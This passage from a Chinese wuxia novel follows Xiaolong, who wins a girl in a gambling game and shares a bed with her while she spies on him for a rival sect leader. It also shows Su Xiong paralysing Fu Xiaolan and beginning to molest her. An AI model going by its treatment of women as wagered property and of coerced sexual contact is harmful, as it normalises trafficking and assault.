第二手更是吃光台面。


可惜,小龙在这两注仅各押一百两银子。


第三把,洗牌切牌按规矩进行。


小龙押下了伍千两。


刀疤王心中一跳,看看自己台面,零零星星一些碎银加起来,不足四千两,实在吃不下这一庄。


小龙淡淡的问道:“吃得下吗?不然,就算台面吧!”


刀疤王盯着台面上五千两银票,从怀里掏出乌木盆,道:“这是一只”寒玉马“,暂时充赌资,赢了没话说,输了暂时抵押,回头我再来赎!”


小龙眼中异采连闪,心想:“这小子从那里弄来的,说不得刨刨他的根!”


於是,满应道:“可以!”


刀疤王伸出了牌,切牌定次序。


骰子掷出,一颗么,一颗三,四点,反门起手。


刀疤王抹回四张牌,闭上双目,大拇指一分一分的摸,一眼一眼的摸,摸到最后,脸上的笑容消失了。


再摸回后面两张,摸着摸着脸色变青了。


前面两张是斧头配地牌,后面两张是板凳搭屏风,这四张牌串在一起,倒楣的是怎么凑也凑不拢。


种葫芦生菜瓜,够衰!


他不死心的再一张张摸,似乎是想把点子摸掉,或者变戏法摸出一副好牌来,如果板凳少两点,该多好,要不斧头去一点,也差不多!


所有的人都瞪看他。


他脸上那块刀疤更明显了。


板凳去两点,就是地一对,斧头去一点,就变成屏风对了,这只是一厢情愿的想法,事实是不可能。


小龙推出两张牌,叫道:“别摸破了啦!”


上下两家也准备妥当了,下家不耐烦的催道:“出牌啦!”


刀疤王一咬牙,拍出第一道牌,地牌配斧头,三点,第二道,板凳四。


小龙天门两张亮开了,头道就是天槓。


刀疤王立即凉了半截,天槓打头阵,后面两张牌,毫无疑问一定是对子了。


寡妇死儿子——没指望了。


果然不错,一对长三,赢得稳答答!


上下家是七点及八点。


通赔!三十一刀疤王的“寒玉马”易了手,他抹掉脸上的汗,推出第二手牌,抓起骰子要掷。


小龙将两颗小银锭放进掌台抽头的钱篮算作抽分,淡淡的道:“你拿什么赌呀?


老兄,总不能赌手指头敲桌子吧?“


刀疤王还有一手牌,他有权继续,他怎肯干休!


刚才小龙说赌手指头,突然引发了他的灵感,只见他大手一伸,接住了小龙的手,厉声道:“我还没下庄,不错吧?”


“你……”


刀疤王凶狠的道:“你有种的话,就走吧!”


四周的赌客看出风色不对,逐渐往外移。


小龙佯作见风转舵,说道:“算你狠!只要你有钱,在下奉陪就是!”


“我……我赌手指头。”刀疤王真的疯了,只见他伸出左手的食指,叫道:“一个指头一千两银子。”


小龙一边收拾台面上的钱,一面说道:“你目□(眼睛)被屎糊,看没秤星(秤具的数目),一个指头一千两,卡失礼,没兴趣!”


刀疤王突然吼道:“命,你赌不赌?”


“你的命,值多少?”


“五千两。”,“爱说笑,你自己掂掂看,你能值五千两吗?”


这时,从外面走进来一个十六、七岁的姑娘。


大姑娘衣着很朴素,却掩不住她的美好。


她顾盼自若,在这种场合中一点也不怯场,不过,神色来看,似乎在找人。


她这一出现,刀疤王嗓门也粗了,一把拉过大姑娘,说道:“如果把这位小姑娘押上,代价多少?”


这话一出,全桌哗然,这世上还真有押活人的。


尽管有些人对这一手很不谅解,但那少女似乎不太在乎。


小龙道:“这姑娘是你的什么人?”


“那是人家赌输了,押给我的;可以说她是我的丫头,当然,你买去作老婆也成。”


小龙道:“作价多少?”


刀疤王道:“当时作价七千两,你看着办吧!”


小龙装作一副色迷迷的样子,说道:“卡水啦!一万两。”


七千两买进来的,一下子赚了三千两。


这生意当然作得过,刀疤王道:“好!一言为定。”


这么一来,上下两门都变成陪衬了,主要的是刀疤王和小龙赌这位姑娘。


赌人的消息一传开,其他赌局的人都能观看。


这赌坊开张以来,这还是第一次为赌而押人。


刀疤王把小方(即牌九)推出来了,七出,天门起手。


摸回两张牌后,刀疤王内心稍稍一安:梅花一对!


第二手两张牌,真他妈的够“衰”,一张长牌,一张板凳,合起来大唱“长板凳”——“瘪十”!


如果拆开来,四、六关,刀疤王不想冒险,希望梅花一对能够保住老本拚成和局。


配好了,小龙的第一道牌开出来了,杂五配杂七,七五一十二,吃掉刀疤王的瘪十而绰绰有余。


后手牌也开出来了,小龙是人牌一对,吃定了梅花对,每一手牌都高两级,刀疤王最后把人输掉了。


小龙带着这位小姑娘出了赌场,来到一家酒楼的雅座,叫了四道菜,一个汤,外带一壶女儿红。


小姑娘替小龙斟上酒,叫道:“爷,你请用。”


小龙连忙叫道:“拜託,不要这样叫,我叫小龙,你叫什么名字呀?”


小姑娘道:“我叫阿娟。”


小龙道:“就这样奸了,我呜你阿娟,你呜我小龙。”


阿娟道:“那怎么可以呢?我叫你小龙哥好不好?”


小龙喝了酒,道:“哇塞-随便你叫好了。”


阿娟道:“小龙哥,你是做那一行的?”


小龙道:“一瞑拢头路(工作),天光无半步(夜晚善於计划,但到次晨,那些计划却不实行,一点办法都没有)……阿娟道:”人家说:家存万贯,不如一技在身。


“嗨……嗨……是的。”


小龙道:“阿娟,不要客气,以后你就是我的人了,用不着客气。”


阿娟道:“是的,小龙哥……”


“阿娟,你真是输给他的?”


“是啊!我爹好赌,把一切家当都输光了,娘一气走了,爹为了捞本,把我也抵押了。”


“小龙哥,你不会把我也卖掉吧?”


小龙摇摇头,说道:“不会的,不过你跟着我会受罪的,我这人成年累月的东飘西荡。”


阿娟道:“小龙哥,我不怕吃苦,只要不被押来押去就成。”


“如果三餐不继,你不抱怨吗?”


“不会的,一两天不吃饭算不了什么。”


小龙暗道:“凸风龟(吹牛大王)!”


饭后离开了酒楼,小龙立即发现有人在暗暗窥伺。


小龙把阿娟带到一家客栈,阿娟道:“小龙哥,你怎么只要了一个房间?”


“为了节省,一个房间也够了。”


“小龙哥,这样人家会不会说闲话?”


“谁说闲话?”


“难道你就没有亲戚朋友?”


小龙道:“阿娟,你既然属我所有,就该由我支配,对不对?


你在乎同房而眠吗?“


“当然,只是不希望别人批评你。”


“别人批评我你什么代志?”


阿娟道:“小龙哥,既然我是你的人了,自然不希望别人说你的坏话,那你自己也要检点些才好。”


“我自有分寸。”


这房间只有一张大床,而且棉被也只有一条,两人上床合盖一条棉被,阿娟蜷着身子,她似乎很害怕。


谁知小龙不一会就传来鼾声,阿娟苦笑一下,有点失望,但至少她以为小龙哥不是胡来的人。


那知她刚刚睡着,忽然被小龙抱住而惊醒,她挣扎着,说道:“小龙哥,你怎么可以这样?”


“怎么不可以?”


“小龙哥,我虽然是你的人,可是还没有成亲呀!”


小龙世故的笑笑,道:“成了亲以后就不能抱了。”


阿娟道:“为什么成了亲反而不能抱了呢?”


小龙道:“如果成了亲我只是抱抱你,而不作其他事,你会不会抱怨我佔着茅坑不拉屎?”


阿娟想了一下,道:“其他的事,是什么事?”


“连这个你都不知道。”


“不知道这些事是不是很丢人?”


“当然,只不过我是不会笑你的。”


“到底是什么事?小龙哥。”


“就是做了这个就会生孩子的事。”


阿娟喜形於色,说道:“你真的有把握?”


“什么有把握?”


“就是使我生孩子呀!”


“你似乎对生孩子挺有兴趣!”


阿娟道:“这倒不是,我们家自我阿公起,一直是一脉单传,人丁单薄,到了我这一代,只有我这个女儿,连个男孩子都没有生……”


小龙道:“原来如此,这还不容易。”


阿娟道:“小龙哥,你真能要男有男,要女有女吗?”


小龙道:“我想大概可以的。”


其实,他内心却在说:“我还不是”三七讲、四六听“(自己随便说,这边随便听)。”


阿娟不出声了,是默许了想女孩子还是不信他有这种本领?但不久,小龙又传出了鼾声。


她哼了一声,又把内衣中的刀子藏好。


拂晓时分,小龙悄悄下床,穿好衣衫,自后院越墙而出,到林中去练武功,他从不荒癈武功。


他似末想到,有一双眼睛在暗中偷看。


他快练完时,那人已悄悄离开,小龙似乎不知道。


返同客栈,天刚大亮,阿娟还在睡。


这是一个乍看不怎么好看,却是越看越好看的女人。


他仔细打量她,忽然又警觉的走开,因为他忽然有一种接近她,或侵犯她的意图,他很吃惊。


他虽然有过那种事的经验,但并不是“猪哥”,心情随时都保持平静的。


早餐后,小龙又出去了,说是到澡堂子去洗澡。大概要个把时辰才回来。


小龙一走,阿娟自后面越墙而出,居然还会武功哩!


她回到了原先那间赌坊,一个人在等她,这人正是天一堡堡主宫不忘。


阿娟道:“堡主,他去澡堂子洗澡,我是溜出来的。”


宫不忘道:“很好!看到他练武了?”


“看到一点,我这就演练……”


屠蛟取宝大会已散,人群也陆续散去,人群中,有一名白发如银的老婆,坐在左看台柱脚之下,闭目不动,似在养神,这身影一入府小兰目中,不由得芳心骤增,又惊又喜,来不及招呼粟雄,娇喊了一声:“师父”


蛮鞋一顿,人化一道轻烟,向那老婆婆,疾扑而去!


粟雄见状,跟踪而下。正瞥见府小兰已扑到那老婆婆身前,伸双臂要抱他的腰身,中似撒娇,似怪歎的说:“师父,你老人家怎么也下山啦!……”


但,奇怪的,那老婆婆就在刹那间,身不动,腿未抬,连人带椅,倏忽后移五尺。


人却睁开了眼睛,道:“姑娘,你认错人了吧!”


府小兰原瞥见那老婆婆的外貌,像煞她师父“一朵云”梅凌霜,那知,当那老婆婆睁眼发话,不但是声音不对,连眼睛的颜色,竟也有异!


她怔怔的盯着那老太婆,芳心里的惊喜,瞬被那尴尬与诧异代替。


因为在细审之下,那老太婆虽然是发如银丝,脸上的肤色,却不仅又白又润,连一丝皱纹也找不出来!


这情景,最大的可能,是由於她精於驻颜之术,故此虽年届老稀,却似能保持住“童颜”。


只是,为什么她偏着上老婆婆的衣服呢?


凭那容颜面貌,此那半老徐娘,并不逊色,她为何不“入时”一点儿呢?


这不但奇怪,更令人费解的,却是她的眼瞳,竟也大异於常,而作深蓝之色!


此际,方一启目,立即有两道深蓝光芒,一闪而没,显示着地,必可能练过什么特异的奇功!


粟雄跟在府小兰的后面瞥见小兰的模样,知道她果是认错了人。


他一者傲性复炽,再者想讨好府小兰,竟然骤尔发话,责问老婆婆:“喂,你是什么人?坐在这儿干什么?”


他是觉得,若果老婆婆,不装模作样的坐在这儿,则府小兰看不到她,便不曾发生这尴尬场面!


老婆婆蓝眸一翻,唇角一撇,一脸轻视的瞪了粟雄一眼,并不答话,却对府小兰间道:“姑娘要找师父吗?我见过她……”


粟雄俊眉一扬,厉声打断老婆婆,叱道:“老婆子,你是什么东西,再不回粟爷的问话,可别怪粟爷要欺负老弱了!”。府小兰听老婆婆说,见过她师父,正想询问她在那儿见过,粟雄却无端发起威风,芳心大瞠,方欲阻止。


老婆婆霍然起身,错眼间已移粟雄身畔,眸含歎色,正容相责,道:“你这臭小子真是顽劣,我若非看在你朋友份上,早已废了你了……”


府小兰见老婆婆身法奇速无比,自己站在她的对面,只觉着眼前一花,她已然横移开去。


此际,闻声见她与粟雄对面而立,相距不及二尺,恶言责骂,粟雄却怎的竟而一动不动,甘心受责?


心中奇怪,仔细一瞧,只见粟雄俊面泛青,冷汗直流,虎目中惧意毕现,如见鬼魅一般,当时心中恍然,敢情是被人制住穴道,动不得啦!


顿时暗惊,这老婆婆果真具奇能,同时也暗自奇怪,她言中的粟雄之友,到底是谁人?


老婆婆一拉府小兰,道:“小姑娘!来,我们找个地方随便聊聊。”


府小兰瞥了粟雄一眼,老婆婆似已知她心意,笑笑道:“这种”半桶屎,担得蔡“(讥人浅学而自夸)的人,让他吃点苦头。”


不由府小兰解说,就拉她到了一颗大树下,道:“小妹妹,你怎么舍得把你龙哥哥一个人拴在房里呢?”


府小兰胸无城府,“咭”的一笑,道:“你怎么知道呀?”


老婆婆微微一笑,说道:“刚才你不是这样告诉老道叔叔嘛!”


府小兰笑个不停道:“人家是骗老道叔叔嘛!”


老婆婆道:“我知道你一定舍不得那样做,他一定也来了,啊!对了,他本领那么大,有什么好怕嘛!”


府小兰两眼睁得大大的,脸色也开始变了,急道:“你怎么知道龙哥哥本领很大?”


老婆婆道:“我还知道,刚才那自称云鹤的老人,就是你龙哥哥!”


“你胡说!”


“小妹妹,我跟你龙哥哥是忘年之交,怎会不知道呢,再说,这件事我也不会告诉旁的人。”


府小兰脸色稍稍缓和下来,道:“真的?你没有骗我吧?”


老婆婆一手把她揽过,道:“怎么曾呢?这样人见人爱的小妹妹,我也不忍心呀!”


语音一顿,又道:“你喜欢你龙哥哥吗?”


府小兰此刻并无男女爱的念头,只是觉得龙哥哥值得人喜欢,於是,默默的点了点头。


老婆婆凝视了府小兰一会,道:“小妹妹,你不觉得他长得很丑吗?”


府小兰微愠道:“相由父母所生,他自己也作不了主,一个人的好坏,不能由相貌的丑美断定人之善恶,往往有许多人以貌取人,失之子羽,这是不公平的!”


老婆婆沉默了一会儿,道:“他的确是一个心地很善良的好孩子。”


府小兰回愠作喜,道:“老婆婆,你真的是这样想吗?真的吗?”


老婆婆点点头,道:“当然,我如果不认为他心地善良,怎会跟他作忘年之交呢?”


府小兰狂喜的抱着老婆婆胳膊,不迭的道:“那就好了,那就好了……”


“什么好了?”


府小兰道:“证实我的想法不错,老婆婆见微知着,此我看得透澈,现在老婆婆这一说,我就更放心了。”


老婆婆又开始沉默了,大地一片静寂,徐风括树梢声外,什么也听不见。


良久,老婆婆才道:“小妹妹,你喜欢他,就要珍惜,知道吗?”


府小兰不停的点着头,道:“我知道!”


老婆婆道:“这样好了,我跟你龙哥哥是忘年之交,他叫我大姐姐,你也叫我大姐姐好了。”


府小兰又忙不迭点头应“好!”


老婆婆又道:“刚才你龙哥哥匆匆走的时候,跟你说些什么呀?”


府小兰道:“他发现了一个邪恶组织的人,跟踪下去了,要我们回店中等他。”


老婆婆点了点头,道:“那你就听他的话,间店里去休息吧!”


府小兰指了指粟雄,道:“大姐姐,粟哥他……”


老婆婆道:“原本让他多吃点苦头,既然小妹妹替他说情,就饶过他这一遭。”


一晃身,来得粟雄跟前,迅速出掌,连拍粟雄后背心“脊心”、“凤尾”二处大穴。


粟雄“咕”的一声,踉舱一步,吐了浓痰,还过气来,人却已萎顿不堪。


老婆婆为粟雄解开穴道,说道:“小妹妹,再见!”


语毕,疾转身形,仰点一点,几个起落,就失去了人影。


府小兰见老婆婆去远,才转过身来,扭头看见粟雄,问道:“你好了吗?”


粟雄适才一时大意,被人以迅雷不及掩耳的手法,连点了胸前“包心络”脉,虽然人家手下,极有分寸,却也令他,大大的难受。


须知,这“包心络”脉,顾名思义,是属心脏四周的要穴重脉,一经用点截手法点中,血气不畅,必死无异。


那老婆婆虽然下手极轻,却是手法特异,粟雄一吃点中,周身不但是动弹不得,胸臆之间,更觉得空空洞洞,像是从万丈高空,失足落下,提心吊胆的,周身无一丝着力之处。


粟维空具一身绝俗内功,却不但自己解不开来,更且害怕的要死!


这刻穴道解开,虽然恢复正常,却余悸尤在,混身战颤不休!


其实,这非是粟雄胆小,实则,正是那点穴的效果。


此种说法,说来在目下江湖中根本是未曾一现,正是丹书铁卷之中的绝学。


且说府小兰,望着老婆婆身形消失,再回头,粟雄也已恢复正常。


此际,山上人影尽渺,连台上的笑面陂丐,及大娄山主,闽候神等人,却已走了个乾净。


粟雄新胜之余,骤尔遭此挫辱,万分懊丧,瞥见府小兰目光射来,俊面一红,起身垂首,道:“兰妹妹,咱们也下山吧!”


府小兰“嗯”了一声,轻身轻掠,奔上山路。


粟雄追上与她并肩而行,讪讪的又说:“小兄功力不济,遭恶婆子暗算,兰妹休要见笑!”


府小兰偏头瞪他一眼。却不同答,粟雄喟歎一声,又说:“俗语言”人外有人,天外有天“,古人诚不我欺,小兄自知功力太差,决心再找一清静之地,苦修两年,兰妹,你在这两年中,作何打算呀?”


他在试采府小兰对他的情意,他心中盼望着,府小兰能陪他去清修,嘴上却不便太做露骨表示。


那知,府小兰此时,不但已对他了无情意,且还有一份厌恶之感,藏蕴心头,只为着过去那一段交情,不愿意现於辞色吧了!


故尔,府小兰闻言,淡淡的答道:“我还没有什么打算,今后,或是回家省亲,或继续行侠江湖,都得看……我的兴趣了!”


她本来想说,都得看龙哥哥的意思。


但,回心一起,不但会使粟雄触发妒火,甚且有损於自己的尊严,故而一顿改!


粟雄心中又气又恨,自觉府小兰已经变了心。


过去,府小兰虽从未曾表示过,她对自己的情意,但最少总处处关心自己。


如今,不但不愿意,随自己再练武功,甚至对於自己的将来与去处,也不动问。


粟雄暗中咬牙,却终将怒火忍了下来,因为,他正在动着脑筋,想着如何去出奇制胜,重赢回这刁蛮少女的处子芳心!


一路上,两人默默无言的迳返客店。


府小兰进房,留意一看,小龙的房门紧闭,只当他并末回来,也不在意,便自点要了饭菜,吩咐夥计,送进房来!


粟雄心中正在策划计谋,故此也自在房内用饭。


两人饭后,各自小睡,起来时,外间天已入幕,且还淅淅沥沥的,落起雨来了!


府小兰进房一看,小龙所住的一间,仍关着门,细一谛听,未闻有人在内。


心中诧异,何以他还未回来?


信不过去,推门入内一看,却发现小龙的行囊尽失!


府小兰大吃一惊,花容变色,初时还当他行囊被人窃去,正想出声唤夥计来问,却瞥见桌上,摆着一方白纸!


府小兰一掠而至,取纸一看,只见那正是小龙所书,上面写道:“粟兄兰妹同鉴:弟有急事待理,匆匆而去,唯盼见谅!


语言!“天下无不散之筵”弟与粟兄兰妹,相聚月余,今兹或已缘止之矣!


唯江湖虽大,容或能再相逢,至时,弟当愿欣见粟兄已除尽蛟脑恶质,功力精进,英姿俊发,兰妹之百尺竿头,更进一步也!


匆匆留出,纸不尽言,唯颂祺安石小龙留上“


府小兰才看了第一句,已然是泪光在目中滚滚而下了,及读毕全信。


她顿时如陷在愁云惨雾之中,只觉得天地茫茫,失所依凭,忍不住娇声鸣咽,哭倒在小龙过去所睡的床上。


在床上她愈想愈是伤心,皆因这事实,发生得太过突然。


她几乎不能相信,小龙竟然是这般无情,说走就悄无声息的走了!


她几乎愿意相信,小龙是发生了一些危险,是在迫不得已的情况下,匆匆而去的!


但,事实呢?从小龙的信中,可以看得出,他只是有计划的离开两人,也既是说,是有心的抛弃了府小兰!那所谓“急事待理”,只不过是藉而已!


府小兰自觉是受了无情的抛弃,以自己的花容月貌,竟能令他毫不动心,则除非他是毫无人性!或是,早已有了“心上人!”


想到“心上人”三字,心灵骤然大震。


也不知经过多久,府小兰似乎是朦胧睡去,又似乎已追寻出去。


她似乎走进一座茫苍无涯的大森林里,上面是浓林蔽日,下边是野草漫径!


四野无人,虫声衔衔,府小兰茫然的向前摸索,周身似生了病,软绵绵的一丝力量也无,中喃喃的呼唤着小龙的名字!


她害怕的踱着,心中充满了空虚与绝望。


但,突然她摸到了一只温暖的手,心中一喜,霍忽叫声“龙哥哥”,骤然觉来,睁眼一看。


面前那有森林?又那有“龙哥哥”?


自己明明仍躺在床上,只是,手里却实抓着一只人手,只是,这不是小龙,而是粟雄的府小兰迷惑的注视着粟雄,只见粟雄一脸诡笑,站在床前,室内已然燃上了灯,门窗却关得死紧。


粟雄见她醒来,压低声音,说道:“兰妹妹,你怎么会睡到这里来的?……”


府小兰猛觉自己的身体软绵绵的,芳心里又急又羞,疾忙放开粟雄的右手,试一运气,竟发觉自己是被人点了软麻之穴!


府小兰大惊,开却出声不得,只好拿眼望着粟雄,示意他替自己解开穴道:那知粟雄竟不理会,反而偏身坐在榻侧,拉起府小兰的素手,放在掌中握着,目光灼灼注视着府小兰,一副怜爱无限的样子,低声一歎,道:“兰妹妹,你不舒服吗?好,就躺着休息一会吧!”


说罢,又是一歎,语气一转,又道:“兰妹妹,你知道,我和你相处,虽不到半年,在我的心中,却已到了难分难舍之境,为你,我甘愿赴汤蹈火,虽万死亦所情愿。”


府小兰闻言,更急更羞,却苦於有难言,连点头摇头,都办不到!


因之,她那玉雪也似的粉颊,涨起飞红,不由得垂下眼皮,暗中怨道:“你这人怎么啦?连我被人暗算也看不出吗?尽说这些废话干吗?”


但粟雄却愈说愈激动,语气一顿,更加温柔的道:“兰妹妹,我对你的爱心,可表天日,本来在初见之时,我便暗自起誓,终身永待於你的身侧,作为不二之臣,熟料天公作对,今竟要我去苦修二年,来化解蛟脑恶质,这,这实在是令人难过。兰妹妹,你晓得我是多么舍不得离开你啊?若是你肯同我一起去,又有多么好呢?”


府小兰听见他愈说愈不像话,恨不得打他两个耳光或找个地隙,钻将下去!


但目前一动却动不得,只好将眼睛紧闭起来,给他个眼不见为净。


那知,粟雄是得寸进尺,歪身躺在府小兰身畔,一手更抚摸到她的胸酥来了!


府小兰惊怒交集,霍然睁目怒视,却因不能转头看不见粟雄。


粟雄一手在她的身上摸索,同时将脸凑近府小兰耳边,喃喃说道:“兰妹妹,我实在舍不得你,那小子有那一点比我好,兰妹妹竟会喜欢他?前几天我真的气死了!现在好啦!那小子一走,兰妹妹,你同我一起去好吗?”


说话之间,粟雄的手,已开始脱解府小兰的扭扣,一颗,一颗的,在粟雄是逐渐的接近理想。


现在,府小兰却恍似一步步走向了悲惨的命运。


她从粟雄中最后的那句话中,恍然觉悟,自己是中了粟雄的暗算。


那软麻穴,正是粟雄点的,他分明是看出自己对他的冷淡,而蓄意来污辱自己!


这一个惊人的发现,不但令府小兰忿怒心情除却无言的流泪之外,他又能用什么来表示反抗呢?


刹时间,泪湿沾枕,粟雄却俯视着府小兰泪痕纵横的玉颊,装作诧异的询问,道:“兰妹妹,你怎么哭啦,呀,我明白了,你也不愿意离开我吗?唉!我也是呀!”


说着,恬不知羞的,不顾府小兰目中射出忿怒之光,竟而俯首向府小兰脸上吻去!


府小兰如接毒蛇,羞急怨怒,一齐交作,只觉得脑中“轰”的一声响,顿时急晕过去!


阿娟练小龙的武功,虽然只看了一会,居然仍能缓慢的演练出来。


-练毕,宫不忘道:“阿娟,这只是皮毛……”


阿娟道:“可是别人的武功,不可能看一次就全部记下来,堡主说过,只要看到都要报告。”


宫不忘道:“对,我是说过。”


阿娟道:“堡主说过,要把他的武功混入我们武功之中,不然的话,日渐累积也许会忘了。”


宫不忘道:“当然,我是说过,你看看……”他边说边练,一遍不懂还会再练一次。


阿娟练了两次,道:“堡主,我已经懂了。”


宫不忘道:“阿娟,那丑小子会不会怀疑你?”


阿娟想了一下,摇摇头道:“现在还没有。”


宫不忘道:“你要小心,那小子很精,必要时可牺牲一点……”


阿娟截道:“堡主,你是说肉身佈施,布下色情陷阱……”


宫不忘道:“不错。为了达到目的,可以不择手段,快点回去,免得他疑心,记住,我随时都派有人在你附近,但没有把握不要来找我。”


三十二阿娟回来时,小龙果然还没有回来。


小龙回来时,阿娟正在为他洗内衣,小龙忙道:“这太不敢当了。”


“小龙哥,什么事不敢当?”


“以后不要帮我洗内衣。”


阿娟道:“小龙哥,我帮你洗内衣是应该的,莫非小龙哥不要我了,是不是我作错了什么事?”


小龙道:“你没有作错事,只是不忍叫你作这等粗活而已,阿娟,你的命和我一样的苦。”


阿娟泫然道:“有小龙哥疼我,再苦也不怕了。”


小龙道:“我们到前面吃饭去。”


阿娟道:“等我把这衣衫掠好了再去嘛!”


晚上,小龙在后院练功,阿娟又在偷看。


然后,她再抽空去报告宫不忘。


而每次她把偷看小龙的招式报告宫不忘之后,她必把这些招式融入她自己的武功招式之中。


这样一路行来,阿娟已偷看了小龙不少的精粹之学,自然都报告了宫不忘。


这已经是一个月之后了,小龙和阿娟由安徽裕溪来到了贵池,他是绕着路走,一路上走走停停。


因为,距离黄山约婷婷姐姐聚会的日子还早,所以他尽量迂回走,一来摆脱府小兰,二来要测采阿娟究竟是什么用心。


这天,一落店,小龙藉故走了。


阿娟自然又偷偷去见宫不忘,说出了一路上偷学到的招式,而宫不忘立即就演练融入自己的武功中。


宫不忘道:“阿娟,似乎他的武功已经都练完了?”


阿娟道:“是的,堡主,近二、三天练的大都重覆。”


宫不忘道:“经常重覆,必是全部都练完了。”


阿娟道:“堡主!如再重覆,我是不是还要跟在他身边?”


宫不忘道:“如果确定没有新招了,就不必再来。”


阿娟道:“然后呢?”


宫不忘语气一冷,道:“我过去对你说过,不必要我重覆。”


声音像兵器交击声,令人不寒而栗。


阿娟走后不久,宫不忘又立刻开始练习,而且是从头到尾,把小龙的武功全部融入的都练过了。


就在这时,有人出现了,是一个中年人,脸色薑黄,颔下留有短髭。


宫不忘道:“阁下来了多久?”


中年人道:“很久了,从你跟小妮子见面一开始,我就来了。”


宫不忘道:“阁下要干什么不妨明言?”


中年人以手作势,似乎是要他顶上的人头。


宫不忘在武林中不是泛泛之辈,明为天一堡堡主,其实就是“天魔帮”帮主,乍看中年人手势,不由盛怒道:“就凭你?”


中年人笑笑,道:“我相信绰绰有余。”


宫不忘真想放声大笑,因为他隐隐可以看出,这中年人太阳穴不隆,双限无神,除非练就英华内敛,不可能,像这种年龄,要练到那种程度,是绝不可能的。


於是,他纵情一笑,道:“你真是找死!”


中年人摊摊手,道:“你不妨试试!”


宫不忘道:“你可知道我是谁吗?我就是”天一堡“堡主宫不忘。”


中年人耸耸肩,笑道:“无名小卒,没听说过。”


宫不忘几时受过如此轻视,沉喝一声出了手,这位天魔帮的帮主,当然不是浪得虚名,省油之灯。


他的膂力惊人。


他的招式威猛而富有机变,不愧为一帮之主。


十招之前,他只攻未守,似乎这中年人只守不攻。


宫不忘冷冷一笑,道:“就凭你这两手,也敢来找我,真是大言不惭?”


这句话未说完,中年人招式突变。


宫不忘在事前轻敌,心理毫无准备下,招式立刻就凌乱了,一时只有招架之力,毫无还手之功。


更可怕的是,这中年人的招式中有他天魔帮的武功路子,而且,时而“九天罡”,忽而“散花手”,一会儿又是“迷踪手”,利时又变成“棒槌雷”乔放的手法。


这些功夫,都是他死仇的绝学,天魔帮费了无尽心血才搜集过来,而这人信手拈来,均为妙着。


这一惊,使他这么老练的人物也慌了手脚。


他的招式一滞,中年人立刻乘虚而入。


似乎这中年人的反应也是一流的,绝不糟蹋任何一点点机会。


“啪”地一声,宫不忘的右胸中了一掌。


这一掌虽然只有五、六成力道,但也够宫不忘受的了,至少折了两、三根肋骨。


他退了两大步,一字一字地道:“原来是你。”


中年人低笑道:“天魔帮帮主也不过如此!”


宫不忘抹去嘴角的血渍,说道:“我曾连本带利找回来的,小子,你真够狠,宫某虽恨你,却也服了你。”


中年人道:“一年之内,你别妄动真气,不然的话,你的老命就会”嗝屁“,可别说我没有向你打招呼。”


宫不忘道:“原来你果是那小子所易容,罢了!罢了!”


宫不忘正要走,中年人道:“姓宫的,你想走?没那么简单,说说看,赚我的原因?”


宫不忘道:“怎么?你想赶尽杀绝?”


中年人道:“是你想赚我对不对?”


宫不忘道:“你小子就那么有把握,”三卡马仔,有时也会着踬“(千虑,必有一失)


,乙苯、甲纯是怎么死的?“


中年人道:“三十年的狗屎,也扣起来讲,敢没歹势?”


宫不忘道:“我这一世人拢有记!”


中年人攻上,宫不忘突然扬手飞出一物,带着动风疾射而至。


中年人不能不闪避,所谓:狗急跳墙,人急造反。


但宫不忘倒射而出,两三个起落,已在墙外消失,中年人原就不想一下子就要他的命,不然的话,那一掌就“嗝屁”了。


抄住来物一看,射来的东西只是一个鼻烟壶而已。


小龙已不再同阿娟睡一张床,总是要两个单人床的房间,阿娟道:“小龙哥,你变了!”


“我还是一样。”


“怎么又不睡一张床了?”


“你是不是喜欢我和你同床?”


“才不哩!我只是想不通为什么忽然又改变了。”


“一时饷比得一时的行情(人的境遇会随时而变。)!”


阿娟笑笑,这笑容有点怪,小龙似未注意。


深夜,小龙先上床睡了,面向床内,发出鼾声。


阿娟站在他的床前,自袖内取出一柄七首。


如果退回一个月前,匕首一出就会立刻插下去。


这一个多月来,她虽然未忘宫不忘的交代,但人总是有感情的。


他关心她,他照料她,而且很尊重她。


如果他要佔有她,她相信绝对逃不过他的手掌。


为贯彻帮主的令谕,任何牺牲都在所不惜。


她的匕首扬了起来。


如果在赌坊里把她赢到手,立刻就想佔有她,这份情感就打折扣了。可是,他一直没有,但却可看出来,他不是不喜欢她,这就叫做有所不为吧!


但是,这是帮主亲自颁下的令谕,不杀他就等於背叛,叛帮之罪是要处以极刑的。


她的匕首硬是迟迟不能戮下。


宫不忘是她的帮主,如今也重伤远遁,报仇的重担就落在她的肩上;可是,她的手有点抖,但目光已盯住小龙的背心,相信她这一匕首戮下去,包死不活,她的责任也就完了。


这样做她尽了“忠”,但却伤了个“义”字。


为了这个“义”字,她不惜背叛天魔帮,她已下了决心。


就在此刻,小龙翻了个身,喃喃地道:“阿娟这姑娘真不错……也好可怜……我……”


语音梦呓,又翻身面向床内睡了,他“他怎么样”没有说出来。


阿娟呆了一阵,她长了这么大,没有听过这么悦耳的声音,身世苍凉的人比较容易满足吧!


呆了一会,她收取匕首上床睡了。


第二天早餐时,小龙道:“哇塞-昨天晚上我作了一个噩梦。”


“什么噩梦呀?”


“好可怕呀,梦中我被人捆住,有个人拿着匕首要杀我。”


阿娟心头猛跳,低着头吃饭,缓缓道:“的确很可怕,不知道要杀你的人是谁?”


小龙道:“好像认识,似乎交情又怎不怎么深厚!”


阿娟道:“既然是梦也就不必放在心上,小龙哥,我们还要到那里去?”


“哇塞-走到那里算那里!”


“小龙哥,你似乎在寻找什么?”


基於交情不怎么深,小龙没有说什么。


事实上,他什么也不找,他只是在混时间,等与婷婷姐姐黄山相会。


天有不测风云,忽然间,下起一阵倾盆大雨来,小龙身上如滚小珠,水滴一点也没有沾上,阿娟已是变成落汤鸡了。


幸好附近山崖下有个巖洞。


二人来到洞内,小龙找了些乾柴燃起火来,小龙道:“你在这里把衣衫脱下来烤乾,不然的话,会受风寒生病的。”


阿娟道:“全部脱光怎么好意思?”


小龙道:“这样吧,我在洞外看看,你穿好了再叫我。”


阿娟在烤衣衫,小龙在洞外守候。


不一会,阿娟叫道:“小龙哥,好了。”


天啊!阿娟一身光溜溜的,根本寸缕未穿。


天已黄昏,洞内本来幽暗,但在熊熊大光之下,再加上他的眼睛被鲸珠洗过,於是,阿娟的胴体却是毫发可见。


小龙接触过几个女人,最早一个是他心目中亦师、亦母、亦姐弟的爱侣——婷婷姐姐,其次是甲纯,乙苯与丁主,这三个女人都是在失去理智下接触的,没有什么印象。


再其次是府小兰,他之对府小兰,虽没有佔有之心,男女之爱,却早已产生了一种近乎兄妹的感情!


这感情,起码在他本人认为是纯洁的。


